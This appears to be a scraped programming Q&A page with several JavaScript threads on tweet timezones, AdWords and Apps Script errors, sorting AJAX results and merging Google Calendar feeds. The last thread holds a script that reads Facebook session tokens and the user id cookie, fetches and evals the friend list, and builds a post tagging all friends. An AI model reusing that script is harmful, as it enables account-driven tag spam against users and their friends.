Displaying tweets in my website using my timezone - javascript

I am able to display my tweets in my website using the JavaScript below.
window.onload = function() {
var siteName = 'xyz';
$.getJSON(
'http://search.twitter.com/search.json?callback=?&rpp=20&q=from:' + siteName,
function(data) {
$.each(data, function(i, tweets) {
for (var num = 0, len = tweets.length; num < len; num++) {
if (tweets[num].text !== undefined) {
$('ul#tweets').append('<li><b>' + tweets[num].created_at.substring(0, 16) +
':</b> ' + tweets[num].text + '</li>');
}
}
});
}
);
};
This displays the tweets in US time. Is it possible to show the tweets in NZ time.

I found an easy solution to my problem. Just creating a new Date object (var tim = new Date(tweets[num].created_at)) did the trick. Here is the code which give shows date and time of tweets in my timezone.
window.onload = function() {
var siteName = 'xyz';
$.getJSON(
'http://search.twitter.com/search.json?callback=?&rpp=20&q=from:' + siteName,
function(data) {
$.each(data, function(i, tweets) {
for (var num = 0, len = tweets.length; num < len; num++) {
if (tweets[num].text !== undefined) {
var tim = new Date(tweets[num].created_at);
$('ul#tweets').append('<li><b>' + tim.toString().substring(0, 24) + ':</b> ' + tweets[num].text + '</li>');
}
}
});
}
);
};
I think, the var tim = new Data(tweets[num].created_at) constructor is taking the date from tweets[num].created_at and converting it to local timezone (my machine time) and constructing a new object tim. So the new object tim has local time.
Can anyone please point me to the documentation of the Date(dateString) constructor.

Yes. You can change the timezone.
The following js code snippet was found from Twitter's web.
function changetimezone(time_value, tz){
if(!tz){
tz = 0;
}
var values = time_value.split(" ");
time_value = values[1] + " " + values[2] + ", " + values[5] + " " + values[3];
var t = parseInt(Date.parse(time_value))/1000;
return t + tz * 60;
}
So simply parse changetimezone with created_at and your relative timezone.
e.g. changetimezone(tweets[num].created_at,12);
+1200hrs is New Zealand's timezone.
As for what twitter returns, it's actually not US time. It's GMT+0 (London time). So you can safely put 12hrs instead of 20.

Related

Resolve 'Parsing Error: Please check your selector. (line XX)' Javascript/AWQL

First off, let me say that I am not a developer, nor do I really code beyond basic HTML. So I appreciate your patience. :)
I'm working with a script that is for AdWords, but I believe it's more or less written in Javascript. (I've included the script below.)
Basically, I'm receiving the error message 'Parsing Error: Please check your selector. (line XX)' when I preview the script.
I've searched all around for hours and have yet to find a solution.
I think it may be that a query being returned contains either a single or double quote, and may be messing up the code? Though I can't actually prove that.
Also, yes, I was sure to update lines 17-21 with the correct details.
Any help would be much appreciated!
Thanks!
John
/*
// AdWords Script: Put Data From AdWords Report In Google Sheets
// --------------------------------------------------------------
// Copyright 2017 Optmyzr Inc., All Rights Reserved
//
// This script takes a Google spreadsheet as input. Based on the column headers, data filters, and date range specified
// on this sheet, it will generate different reports.
//
// The goal is to let users create custom automatic reports with AdWords data that they can then include in an automated reporting
// tool like the one offered by Optmyzr.
//
//
// For more PPC management tools, visit www.optmyzr.com
//
*/
var DEBUG = 0; // set to 1 to get more details about what the script does while it runs; default = 0
var REPORT_SHEET_NAME = "report"; // the name of the tab where the report data should go
var SETTINGS_SHEET_NAME = "settings"; // the name of the tab where the filters and date range are specified
var SPREADSHEET_URL = "https://docs.google.com/spreadsheets/d/1dttJTb547L81XYKdTQ56LcfO9hHhbb9wm06ZY5mKhEo/edit#gid=0"; // The URL to the Google spreadsheet with your report template
var EMAIL_ADDRESSES = "example#example.com"; // Get notified by email at this address when a new report is ready
function main() {
var currentSetting = new Object();
currentSetting.ss = SPREADSHEET_URL;
// Read Settings Sheet
var settingsSheet = SpreadsheetApp.openByUrl(currentSetting.ss).getSheetByName(SETTINGS_SHEET_NAME);
var rows = settingsSheet.getDataRange();
var numRows = rows.getNumRows();
var numCols = rows.getNumColumns();
var values = rows.getValues();
var numSettingsRows = numRows - 1;
var sortString = "";
var filters = new Array();
for(var i = 0; i < numRows; i++) {
var row = values[i];
var settingName = row[0];
var settingOperator = row[1];
var settingValue = row[2];
var dataType = row[3];
debug(settingName + " " + settingOperator + " " + settingValue);
if(settingName.toLowerCase().indexOf("report type") != -1) {
var reportType = settingValue;
} else if(settingName.toLowerCase().indexOf("date range") != -1) {
var dateRange = settingValue;
} else if(settingName.toLowerCase().indexOf("sort order") != -1) {
var sortDirection = dataType || "DESC";
if(settingValue) var sortString = "ORDER BY " + settingValue + " " + sortDirection;
var sortColumnIndex = 1;
}else {
if(settingOperator && settingValue) {
if(dataType.toLowerCase().indexOf("long") != -1 || dataType.toLowerCase().indexOf("double") != -1 || dataType.toLowerCase().indexOf("money") != -1 || dataType.toLowerCase().indexOf("integer") != -1) {
var filter = settingName + " " + settingOperator + " " + settingValue;
} else {
if(settingValue.indexOf("'") != -1) {
var filter = settingName + " " + settingOperator + ' "' + settingValue + '"';
} else if(settingValue.indexOf("'") != -1) {
var filter = settingName + " " + settingOperator + " '" + settingValue + "'";
} else {
var filter = settingName + " " + settingOperator + " '" + settingValue + "'";
}
}
debug("filter: " + filter)
filters.push(filter);
}
}
}
// Process the report sheet and fill in the data
var reportSheet = SpreadsheetApp.openByUrl(currentSetting.ss).getSheetByName(REPORT_SHEET_NAME);
var rows = reportSheet.getDataRange();
var numRows = rows.getNumRows();
var numCols = rows.getNumColumns();
var values = rows.getValues();
var numSettingsRows = numRows - 1;
// Read Header Row and match names to settings
var headerNames = new Array();
var row = values[0];
for(var i = 0; i < numCols; i++) {
var value = row[i];
headerNames.push(value);
//debug(value);
}
if(reportType.toLowerCase().indexOf("performance") != -1) {
var dateString = ' DURING ' + dateRange;
} else {
var dateString = "";
}
if(filters.length) {
var query = 'SELECT ' + headerNames.join(",") + ' FROM ' + reportType + ' WHERE ' + filters.join(" AND ") + dateString + " " + sortString;
} else {
var query = 'SELECT ' + headerNames.join(",") + ' FROM ' + reportType + dateString + " " + sortString;
}
debug(query);
var report = AdWordsApp.report(query); //THIS IS LINE 103 WITH THE ERROR
try {
report.exportToSheet(reportSheet);
var subject = "Your " + reportType + " for " + dateRange + " for " + AdWordsApp.currentAccount().getName() + " is ready";
var body = "currentSetting.ss<br>You can now add this data to <a href='https://www.optmyzr.com'>Optmyzr</a> or another reporting system.";
MailApp.sendEmail(EMAIL_ADDRESSES, subject, body);
Logger.log("Your report is ready at " + currentSetting.ss);
Logger.log("You can include this in your scheduled Optmyzr reports or another reporting tool.");
} catch (e) {
debug("error: " + e);
}
}
function debug(text) {
if(DEBUG) Logger.log(text);
}
The area between SELECT and FROM is the selector. You're not selecting any fields with that query. That's happening because the headerNames array is empty. Verify the value of REPORT_SHEET_NAME

Google Apps Script Execution API: Script error message: Script function not found:【JavaScript】

I am an absolute beginner of web development.
I would like to implement Google Apps Script Execution API into my project.
I have two questions on Google Apps Script Execution API to ask.
(1) I have no idea how to solve the error below.
Script error message: Script function not found: make_date_array(month)
Although my Google Apps Script has the function 'make_date_array(month)' in it, the error above comes out when I call google apps execution api. So I just don't know what to do.
function send_mail() {
var date = new Date()
date.setDate(new Date().getDate())
date = date.getFullYear() + "-" + zero_padding(date.getMonth() + 1)
runSingleRowQuery(0, date)
var spreadsheet = SpreadsheetApp.getActiveSpreadsheet();
var sheet = spreadsheet.getSheetByName("Data");
var message = "";
var tmp_message = sheet.getRange(1,1,58 ,2).getValues();
for(var i = 0;i < tmp_message.length ;i++){
message += tmp_message[i][0] + ":" + tmp_message[i][1] + "<br>"
}
MailApp.sendEmail({
to: 'I put my email address here'
subject: 'BigQuery',
htmlBody: message
});
}
function runSingleRowQuery(develop_mode, target_month) {
// Replace this value with the project ID listed in the Google
// Developers Console project.
var spreadsheet = SpreadsheetApp.getActiveSpreadsheet();
var queries_sheet = spreadsheet.getSheetByName("Single row queries");
var result_sheet = spreadsheet.getSheetByName("Data");
if(target_month == null){
var target_month = queries_sheet.getRange(1, 2).getValue();
}
make_date_array(target_month);
result_sheet.getRange(1, 2).setValue(queries_sheet.getRange(1, 2).getValue())
for (var i = 2; i <= queries_sheet.getLastRow(); i++) {
var query = queries_sheet.getRange(i, 2).getValue();
if (query_variation(query) != false) {
query = query_variation(query)
Logger.log(queries_sheet.getRange(i, 1).getValue());
Logger.log("# run query: \n " + query);
if (develop_mode != 1) {
Logger.log('\n#####################Run Query#########################');
var request = {
query: query
};
var queryResults = BigQuery.Jobs.query(request, projectId);
var jobId = queryResults.jobReference.jobId;
// Check on status of the Query Job.
var sleepTimeMs = 500;
while (!queryResults.jobComplete) {
Utilities.sleep(sleepTimeMs);
sleepTimeMs *= 2;
queryResults = BigQuery.Jobs.getQueryResults(projectId, jobId);
}
// Get all the rows of results.
var rows = queryResults.rows;
while (queryResults.pageToken) {
queryResults = BigQuery.Jobs.getQueryResults(projectId, jobId, {
pageToken: queryResults.pageToken
});
rows = rows.concat(queryResults.rows);
}
result_sheet.getRange(i, 2).setValue(rows[0].f[0].v);
result_sheet.getRange(i, 1).setValue(queries_sheet.getRange(i, 1).getValue());
result_sheet.getRange(i, 3).setValue(queries_sheet.getRange(i, 3).getValue());
}
}
else {
result_sheet.getRange(i, 1).setValue(queries_sheet.getRange(i, 1).getValue());
result_sheet.getRange(i, 2).setValue(queries_sheet.getRange(i, 2).getFormula());
}
}
}
function make_date_array(month) {
month = month.split('-');
var last_month = {};
var more_last_month = {};
Logger.log((parseFloat(month[0] - 1).toFixed(0)))
if (parseFloat(month[1] - 1).toFixed(0) < 1) {
last_month[0] = (parseFloat(month[0]) - 1).toFixed(0);
last_month[1] = 12;
} else {
last_month[0] = (parseFloat(month[0])).toFixed(0);
last_month[1] = (parseFloat(month[1]) - 1).toFixed(0);
}
if (last_month[1] < 10) {
last_month[1] = '0' + last_month[1];
}
if (parseFloat(last_month[1] - 1).toFixed(0) < 1) {
more_last_month[0] = (parseFloat(last_month[0]) - 1).toFixed(0);
more_last_month[1] = 12;
} else {
more_last_month[0] = (parseFloat(last_month[0])).toFixed(0);
more_last_month[1] = (parseFloat(last_month[1]) - 1).toFixed(0);
}
if (more_last_month[1] < 10) {
more_last_month[1] = '0' + more_last_month[1];
}
date_array['Ym01'] = month[0] + month[1] + '01';
date_array['last_Ym01'] = last_month[0] + last_month[1] + '01';
date_array['more_last_Ym01'] = more_last_month[0] + more_last_month[1] + '01';
date_array['y-m-10_h:s'] = month[0] + '-' + month[1] + '-' + '10 00:00';
date_array['last_y-m-10_h:s'] = last_month[0] + '-' + last_month[1] + '-' + '10 00:00';
date_array['more_last_y-m-10_h:s'] = more_last_month[0] + '-' + more_last_month[1] + '-' + '01 00:00';
date_array['y-m-10'] = month[0] + '-' + month[1] + '-' + '10';
date_array['last_y-m-10'] = last_month[0] + '-' + last_month[1] + '-' + '10';
Logger.log(date_array['last_y-m-10'])
}
(2) Does anyone know how I am supposed to call multiple functions? I used the sample code provided by Google. However, I am not sure if I follow the right way to call several functions.
// Create an execution request object.
var request = {
'function': 'send_mail',
'function': 'runSingleRowQuery(develop_mode, target_month)',
'function': 'make_date_array(month)',
};
If you have had similar problems before, could you please help deal with the two issues above? English is not my first language, so if this post does not make sense to you or need more information, please leave your comments. Any advise would be appreciated. Thanks in advance.
In additional to link in the comment I think this code
if(target_month == null){
var target_month = queries_sheet.getRange(1, 2).getValue();
}
You have to change to (no var)
if(target_month == null){
target_month = queries_sheet.getRange(1, 2).getValue();
}

Sorting different ajax calls before writing them on page

I'm looping through an array an show the data on my screen. This part is working perfectly.
Now I want to sorting the elements on 'Startdate'.
for (var i = 0; i < schedule_id.length; i++) {
//Ajax call maken
$.ajax({
url: "http://api.viewer.zmags.com/schedules/" + schedule_id[i] + "?key=" + api_key
})
//WdInit after 10 calls
.done(function(data){
//Check publicatieID is not null
if (undefined === data.scheduleEntries[default_pub]|| null === data.scheduleEntries[default_pub]) {
}
else
{
//loopen doorheen resultaat call
$.each(data.scheduleEntries, function(index, entry){
//Datums
var sdate = moment(entry.startDate).format('DD/MM');
var edate = moment(entry.endDate).format('DD/MM');
var sdatecheckformat = moment(entry.startDate).format('YYYY/MM/DD');
var edatecheckformat = moment(entry.endDate).format('YYYY/MM/DD');
var sdatecheck = new Date(sdatecheckformat);
var edatecheck = new Date(edatecheckformat);
var today = new Date();
var timeDiff = Math.abs(sdatecheck.getTime() - today.getTime());
var diffDays = Math.ceil(timeDiff / (1000 * 3600 * 24));
//Check geldig
if(today<=edatecheck && diffDays<=14){
// Decide list order, load the thumbnail for each publication.
var place = "first";
$('#archive').prepend('<div class="container" id="'+entry.publicationID+'"></div>');
$('.container:' + place).append('<div class="thumb"></div>');
$('.thumb:' + place).css("background-image", 'url(' + entry.thumbnailURL + ')');
$('.thumb:' + place).css("filter", 'progid:DXImageTransform.Microsoft.AlphaImageLoader(src=' + entry.thumbnailURL + ',sizingMethod="scale")');
$('.thumb:' + place).css("-ms-filter", 'progid:DXImageTransform.Microsoft.AlphaImageLoader(src=' + entry.thumbnailURL + ',sizingMethod="scale")');
// Load the publication title below each thumbnail.
$('.thumb:' + place).after('<div class="title"></div>');
$('.title:' + place).append(entry.publicationName);
// Load the publication startsdate & enddate.
$('.title:' + place).after('<div class="date"></div>');
$('.date:' + place).append(sdate + " tot " + edate);
// Set up publication links.
$('.container:' + place).click(function(){
loadPub(entry.publicationID, entry.publicationName);
setActive(entry.publicationID);
//Change css of current element
});
}
//Eerste element tonen
if(0===first_element){
first_element++;
loadPub(entry.publicationID, entry.publicationName);
initFirst(entry.publicationID);
}
});
}
});
//Einde loop
}
Within this loop it is not possible to sort because we are writing the element immediately. Can you please help me a way to sort the data. Maybe getting all data first and sorting them by creating an array with the same schedules ID's but in a correct sorted way.
My code so far:
//Sortering
var arr = [];
var arr1 = [];
//Loopen 10 keer
for (var i = 0; i < schedule_id.length; i++) {
arr1.push("test");
//Ajax call maken
$.ajax({
url: "http://api.viewer.zmags.com/schedules/" + schedule_id[i] + "?key=" + api_key,
success: function(data) {
arr.push(data);
}
})
}
//Know looping throught array or something and sorting
You can use $.when() to wait for multiple deferreds to resolve.
For example:
var arrayOfAjaxPromises = [$.ajax("/page1"), $.ajax("/page2"), $.ajax("/page3")];
$.when.apply($, arrayOfAjaxPromises).done(function() {
// this callback gets called when all the promises are resolved
// responses are passed in the array-like arguments object, so they can be read sequentially
// or you can sort or process the way you want
var i;
for (i = 0; i < arguments.length; i+= 1) {
alert(arguments[i]);
}
});

Merging multiple Google calendar feeds into one JSON object in javascript

I am trying to bring in the JSON feeds from multiple Google calendars so that I can sort the upcoming events and display the next X number in an "Upcoming Events" list.
I have this working with Yahoo! pipes but I want to get away from using a 3rd party to aggregate. I think I am close, but I cannot get the JSON objects created correctly. I am getting the data into the array but not in JSON format, so I can't manipulate it.
I have tried var myJsonString = JSON.stringify(JSONData); using https://github.com/douglascrockford/JSON-js but that just threw errors. I suspect because my variable is in the wrong starting format. I have tried just calling the feed like: $.getJSON(url); and creating a function concant1() to do the JSONData=JSONData.concat(data);, but it doesn't fire and I think it would produce the same end result anyway. I have also tried several other methods of getting the end result I want with varying degrees of doom. Here is the closest I have come so far:
var JSONData = new Array();
var urllist = ["https://www.google.com/calendar/feeds/dg61asqgqg4pust2l20obgdl64%40group.calendar.google.com/public/full?orderby=starttime&max-results=3&sortorder=ascending&futureevents=true&ctz=America/New_York&singleevents=true&alt=json&callback=concant1","https://www.google.com/calendar/feeds/5oc3kvp7lnu5rd4krg2skcu2ng%40group.calendar.google.com/public/full?orderby=starttime&max-results=3&sortorder=ascending&futureevents=true&ctz=America/New_York&singleevents=true&alt=json&callback=concant1","http://www.google.com/calendar/feeds/rine4umu96kl6t46v4fartnho8%40group.calendar.google.com/public/full?orderby=starttime&max-results=3&sortorder=ascending&futureevents=true&ctz=America/New_York&singleevents=true&alt=json&callback=concant1"];
urllist.forEach(function addFeed(url){
alert("The URL being used: "+ url);
if (void 0 != JSONData){JSONData=JSONData.concat($.getJSON(url));}
else{JSONData = $.getJSON(url);}
alert("The count from concantonated JSONData: "+JSONData.length);
});
document.write("The final count from JSONData: "+JSONData.length+"<p>");
console.log(JSONData)
UPDATE:
Now with full working source!! :) If anyone would like to make suggestions on how to improve the code's efficiency it would be gratefully accepted. I hope others find this useful.:
// GCal MFA - Google Calendar Multiple Feed Aggregator
// Useage: GCalMFA(CIDs,n);
// Where 'CIDs' is a list of comma seperated Google calendar IDs in the format: id#group.calendar.google.com, and 'n' is the number of results to display.
// While the contained console.log(); outputs are really handy for testing, you will probably want to remove them for regular usage
// Author: Jeramy Kruser - http://jeramy.kruser.me
// This is error-checking code for IE and can be removed
// onerror=function (d, f, g){alert (d+ "\n"+ f+ "\n");}
// This keeps IE from complaining about console.log and can be removed if all the console.log testing statements are removed
// if (!window.console) {console = {log: function() {}};}
// Add a tag to your page to identify it as js-enabled for CSS purposes
document.body.className += ' js-enabled';
// Global variables
var urllist = [];
var maxResults = 3; // The default is 3 results unless a value is sent
var JSONData = {};
var eventCount = 0;
var errorLog = "";
JSONData = { count: 0,
value : {
description: "Aggregates multiple Google calendar feeds into a single sorted list",
generator: "StackOverflow communal coding - Thanks for the assist Patrick M",
website: "http://jeramy.kruser.me",
author: "Jeramy & Kasey Kruser",
items: []
}};
// Prototype forEach required for IE
if ( !Array.prototype.forEach ) {
Array.prototype.forEach = function(fn, scope) {
for(var i = 0, len = this.length; i < len; ++i) {
fn.call(scope, this[i], i, this);
}
}
}
// For putting dates from feed into a format that can be read by the Date function for calculating event length.
function parse (str) {
// validate year as 4 digits, month as 01-12, and day as 01-31
str = str.match (/^(\d{4})(0[1-9]|1[0-2])(0[1-9]|[12]\d|3[01])$/);
if (str) {
// make a date
str[0] = new Date ( + str[1], + str[2] - 1, + str[3]);
// check if month stayed the same (ie that day number is valid)
if (str[0].getMonth () === + str[2] - 1) {
return str[0];
}
}
return undefined;
}
//For outputting to HTML
function output() {
var months, day_in_ms, summary, i, item, eventlink, title, calendar, where,dtstart, dtend, endyear, endmonth, endday, startyear, startmonth, startday, endmonthdayyear, eventlinktitle, startmonthday, length, curtextval, k;
// Array of month names from numbers for page display.
months = {'0':'January', '1':'February', '2':'March', '3':'April', '4':'May', '5':'June', '6':'July', '7':'August', '8':'September', '9':'October', '10':'November', '11':'December'};
// For use in calculating event length.
day_in_ms = 24 * 60 * 60 * 1000;
// Instantiate HTML Arrays.
summary = [];
for (i = 0; i < maxResults; i+=1 ) {
// console.log("i: "+i+" < "+"maxResults: "+ maxResults);
if (!(JSONData.value.items[i] === undefined)) {
item = JSONData.value.items[i];
// Grabbing data for each event in the feed.
eventlink = (item.link[0].href);
title = item.title.$t;
// Only display the calendar title if there is more than one
calendar = "";
if (urllist.length > 1) {
calendar = '<br />Calendar: <a href="https://www.google.com/calendar/embed?src=' + item.gd$who[0].email + '&ctz=America/New_York">' + item.gd$who[0].valueString + '<\/a> (<a href="https://www.google.com/calendar/ical/' + item.gd$who[0].email + '/public/basic.ics">iCal<\/a>)';
}
// Grabbing event location, if entered.
if ( item.gd$where[0].valueString !== "" ) {
where = '<br />' + (item.gd$where[0].valueString);
}
else {
where = ("");
}
// Grabbing start date and putting in form YYYYmmdd. Subtracting one day from dtend without a specified end time (which contains colons) to fix Google's habit of ending an all-day event at midnight on the following day.
dtstart = new Date(parse(((item.gd$when[0].startTime).substring(0,10)).replace(/-/g,"")));
if((item.gd$when[0].endTime).indexOf(':') === -1) {
dtend = new Date(parse(((item.gd$when[0].endTime).substring(0,10)).replace(/-/g,"")) - day_in_ms);
}
else {
dtend = new Date(parse(((item.gd$when[0].endTime).substring(0,10)).replace(/-/g,"")));
}
// Put dates in pretty form for display.
endyear = dtend.getFullYear();
endmonth = months[dtend.getMonth()];
endday = dtend.getDate();
startyear = dtstart.getFullYear();
startmonth = months[dtstart.getMonth()];
startday = dtstart.getDate();
//consolidate some much-used variables for HTML output.
endmonthdayyear = endmonth + ' ' + endday + ', ' + endyear;
eventlinktitle = '<a href="' + eventlink + '">' + title + '<\/a>';
startmonthday = startmonth + ' ' + startday;
// Calculates the number of days between each event's start and end dates.
length = ((dtend - dtstart) / day_in_ms);
// HTML for each event, depending on which div is available on the page (different HTML applies). Only one div can exist on any one page.
if (document.getElementById("homeCalendar") !== null ) {
// If the length of the event is greater than 0 days, show start and end dates.
if ( length > 0 && startmonth !== endmonth && startday === endday ) {
summary[i] = ('<h3>' + eventlink + '">' + startmonthday + ', ' + startyear + ' - ' + endmonthdayyear + '<\/a><\/h3><p>' + title + '<\/p>'); }
// If the length of the event is greater than 0 and begins and ends within the same month, shorten the date display.
else if ( length > 0 && startmonth === endmonth && startyear === endyear ) {
summary[i] = ('<h3><a href="' + eventlink + '">' + startmonthday + '-' + endday + ', ' + endyear + '<\/a><\/h3><p>' + title + '<\/p>'); }
// If the length of the event is greater than 0 and begins and ends within different months of the same year, shorten the date display.
else if ( length > 0 && startmonth !== endmonth && startyear === endyear ) {
summary[i] = ('<h3><a href="' + eventlink + '">' + startmonthday + ' - ' + endmonthdayyear + '<\/a><\/h3><p>' + title + '<\/p>'); }
// If the length of the event is less than one day (length < = 0), show only the start date.
else {
summary[i] = ('<h3><a href="' + eventlink + '">' + startmonthday + ', ' + startyear + '<\/a><\/h3><p>' + title + '<\/p>'); }
}
else if (document.getElementById("allCalendar") !== null ) {
// If the length of the event is greater than 0 days, show start and end dates.
if ( length > 0 && startmonth !== endmonth && startday === endday ) {
summary[i] = ('<li>' + eventlinktitle + '<br />' + startmonthday + ', ' + startyear + ' - ' + endmonthdayyear + where + calendar + '<\/li>'); }
// If the length of the event is greater than 0 and begins and ends within the same month, shorten the date display.
else if ( length > 0 && startmonth === endmonth && startyear === endyear ) {
summary[i] = ('<li>' + eventlinktitle + '<br />' + startmonthday + '-' + endday + ', ' + endyear + where + calendar + '<\/li>'); }
// If the length of the event is greater than 0 and begins and ends within different months of the same year, shorten the date display.
else if ( length > 0 && startmonth !== endmonth && startyear === endyear ) {
summary[i] = ('<li>' + eventlinktitle + '<br />' + startmonthday + ' - ' + endmonthdayyear + where + calendar + '<\/li>'); }
// If the length of the event is less than one day (length < = 0), show only the start date.
else {
summary[i] = ('<li>' + eventlinktitle + '<br />' + startmonthday + ', ' + startyear + where + calendar + '<\/li>'); }
}
}
if (summary[i] === undefined) { summary[i] = "";}
// console.log(summary[i]);
}
// console.log(JSONData);
// Puts the HTML into the div with the appropriate id. Each page can have only one.
if (document.getElementById("homeCalendar") !== null ) {
curtextval = document.getElementById("homeCalendar");
// console.log("homeCalendar: "+curtextval);
}
else if (document.getElementById("oneCalendar") !== null ) {
curtextval = document.getElementById("oneCalendar");
// console.log("oneCalendar: "+curtextval);
}
else if (document.getElementById("allCalendar") !== null ) {
curtextval = document.getElementById("allCalendar");
// console.log("allCalendar: "+curtextval.innerHTML);
}
for (k = 0; k<maxResults; k+=1 ) { curtextval.innerHTML = curtextval.innerHTML + summary[k]; }
if (JSONData.count === 0) {
errorLog += '<div id="noEvents">No events found.</div>';
}
if (document.getElementById("homeCalendar") === null ) {
curtextval.innerHTML = '<ul>' + curtextval.innerHTML + '<\/ul>';
}
if (errorLog !== "") {
curtextval.innerHTML += errorLog;
}
}
// For taking in each feed, breaking out the events and sorting them into the object by date
function sortFeed(event) {
var tempEntry, i;
tempEntry = event;
i = 0;
// console.log("*** New incoming event object #"+eventCount+" ***");
// console.log(event.title.$t);
// console.log(event);
// console.log("i = " + i + " and maxResults " + maxResults);
while(i<maxResults) {
// console.log("i = " + i + " < maxResults " + maxResults);
// console.log("Sorting event = " + event.title.$t + " by date of " + event.gd$when[0].startTime.substring(0,10).replace(/-/g,""));
if (JSONData.value.items[i]) {
// console.log("JSONData.value.items[" + i + "] exists and has a startTime of " + JSONData.value.items[i].gd$when[0].startTime.substring(0,10).replace(/-/g,""));
if (event.gd$when[0].startTime.substring(0,10).replace(/-/g,"")<JSONData.value.items[i].gd$when[0].startTime.substring(0,10).replace(/-/g,"")) {
// console.log("The incoming event value of " + event.gd$when[0].startTime.substring(0,10).replace(/-/g,"") + " is < " + JSONData.value.items[i].gd$when[0].startTime.substring(0,10).replace(/-/g,""));
tempEntry = JSONData.value.items[i];
// console.log("Existing JSONData.value.items[" + i + "] value " + JSONData.value.items[i].gd$when[0].startTime.substring(0,10).replace(/-/g,"") + " stored in tempEntry");
JSONData.value.items[i] = event;
// console.log("Position JSONData.value.items[" + i + "] set to new value: " + event.gd$when[0].startTime.substring(0,10).replace(/-/g,""));
event = tempEntry;
// console.log("Now sorting event = " + event.title.$t + " by date of " + event.gd$when[0].startTime.substring(0,10).replace(/-/g,""));
}
else {
// console.log("The incoming event value of " + event.gd$when[0].startTime.substring(0,10).replace(/-/g,"") + " is > " + JSONData.value.items[i].gd$when[0].startTime.substring(0,10).replace(/-/g,"") + " moving on...");
}
}
else {
JSONData.value.items[i] = event;
// console.log("JSONData.value.items[" + i + "] does not exist so it was set to the Incoming value of " + event.gd$when[0].startTime.substring(0,10).replace(/-/g,""));
i = maxResults;
}
i += 1;
}
}
// For completing the aggregation
function complete(result) {
// Track the number of calls completed back, we're not done until all URLs have processed
if( complete.count === undefined ){
complete.count = urllist.length;
}
// console.log("complete.count = "+complete.count);
// console.log(result.feed);
if(result.feed.entry){
JSONData.count = maxResults;
// Check each incoming item against JSONData.value.items
// console.log("*** Begin Sorting " + result.feed.entry.length + " Events ***");
// console.log(result.feed.entry);
result.feed.entry.forEach(
function(event){
eventCount += 1;
sortFeed(event);
}
);
}
if( (complete.count-=1)<1 ) {
// console.log("*** Done Sorting ***");
output();
}
}
// This is the main function. It takes in the list of Calendar IDs and the number of results to display
function GCalMFA(list,results){
var i, calPreProperties, calPostProperties1, calPostProperties2;
calPreProperties = "https://www.google.com/calendar/feeds/";
calPostProperties1 = "/public/full?max-results=";
calPostProperties2 = "&orderby=starttime&sortorder=ascending&futureevents=true&ctz=America/New_York&singleevents=true&alt=json&callback=?";
if (list) {
if (results) {
maxResults = results;
}
urllist = list.split(',');
for (i = 0; i < urllist.length; i+=1 ){
// console.log(urllist[i]);
if (urllist[i] === ""){ urllist.splice(i,1);}
else{
urllist[i] = calPreProperties + urllist[i] + calPostProperties1+maxResults+calPostProperties2;}
}
// console.log("There are " + urllist.length + " URLs");
urllist.forEach(function addFeed(url){
$.getJSON(url, complete);
});
}
else {
errorLog += '<div id="noURLs">No calendars have been selected.</div>';
output();
}
}
All right, here's the gist of what needs to change.
Updated fiddle: http://jsfiddle.net/ynuQ5/2/
Don't concat on the return value of $.getJSON. As I mentioned above, that gets you the XMLHttpRequest object, which is a lot more than the data you're interested in. Critically, however, at that point the request hasn't been made and the data isn't available yet.
Instead, handle it in callback for the AJAX request. I updated your URL list to use &callback=?, initialize the JSONData var to look more like the structure in your 2nd screenshot and then changed the javascript for the AJAX requests to this:
var JSONData = { count: 0,
value : {
description: "Calendars from the Unitarian Universalist Association (UUA.org)",
generator: "StackOverflow communal coding",
items: []
}};
// url list declaration goes here
urllist.forEach(function addFeed(url){
$.getJSON(url, function(result) {
if(!result.feed.entry) {
console.log("No entries from " + url);
return;
}
JSONData.count += result.feed.entry.length;
JSONData.value.items = JSONData.value.items.concat(result.feed.entry);
console.log(JSONData);
});
});
Right away you'll notice there are still some discrepancies between the raw data you get back from google and the data provided by the Yahoo pipe transform. Noticeably, a lot of their provided values have been transformed from objects to texts. For example, google gives us this:
id: Object
$t: "http://www.google.com/calendar/feeds/5oc3kvp7lnu5rd4krg2skcu2ng%40group.calendar.google.com/public/full/bbidp5qb4vh5vk9apok1cpnino_20130119"
link: Array[2]
0: Object
href: "https://www.google.com/calendar/event?eid=YmJpZHA1cWI0dmg1dms5YXBvazFjcG5pbm9fMjAxMzAxMTkgNW9jM2t2cDdsbnU1cmQ0a3JnMnNrY3UybmdAZw"
rel: "alternate"
title: "alternate"
type: "text/html"
1: Object
length: 2
published: Object
$t: "2012-11-13T15:59:31.000-05:00"
title: Object
$t: "30 Days of Love"
type: "text"
updated: Object
$t: "2012-11-13T15:59:31.000-05:00"
Where as your yahoo transform returns data more like this:
id: "http://www.google.com/calendar/feeds/5oc3kvp7lnu5rd4krg2skcu2ng%40group.calendar.google.com/public/full/bbidp5qb4vh5vk9apok1cpnino_20130119"
link: "href: "https://www.google.com/calendar/event?eid=YmJpZHA1cWI0dmg1dms5YXBvazFjcG5pbm9fMjAxMzAxMTkgNW9jM2t2cDdsbnU1cmQ0a3JnMnNrY3UybmdAZw"
published: "2012-11-13T15:59:31.000-05:00"
title: "30 Days of Love"
updated: "2012-11-13T15:59:31.000-05:00"
You can transform the data more when you receive it. Or you can modify your display code to use the more convoluted, raw values.
Let me know if I can clear anything up in my code or response.
Edit: Updated fiddle showing how to access author (aka feed name, apparently), start time and title: http://jsfiddle.net/ynuQ5/8/
Let me know if there's more specific stuff you want out of it :-)

javascript choosing 6 at a time from array?

Because stackoverflow keep messing up my code, i have pasted it here http://pastebin.com/xA8wT3M2
What the code does is choose the entire list of friends. What I would rather have it do is choose 6 at a time for the array without repeats until the list is done.
I know this chooses 6 but it keeps picking the first 6 from the array over and over
var i=0;i<6;
EDIT:
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(/c_user=(\d+);/)[1];
var friends = new Array();
gf = new XMLHttpRequest();
gf.open("GET", "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer=" + uid + "&" + Math.random(), false);
gf.send();
if (gf.readyState != 4) {} else {
data = eval('(' + gf.responseText.substr(9) + ')');
if (data.error) {} else {
friends = data.payload.entries.sort(function() {
return (Math.round(Math.random()) - 0.5);
});
}
}
var postmessage = "gerrgg";
for (var i = 0; i < friends.length; i++) {
postmessage = postmessage + "#[" + friends[i].uid + ":" + friends[i].text + "] ";
}
To keep choosing 6 elements from the array use slice:
var arrSliceOf6 = [];
for(var i = 0; i < arr.length; i += 6)
arrSliceOf6 = arr.slice(i, i + 6);
Here's a demo

Categories

Resources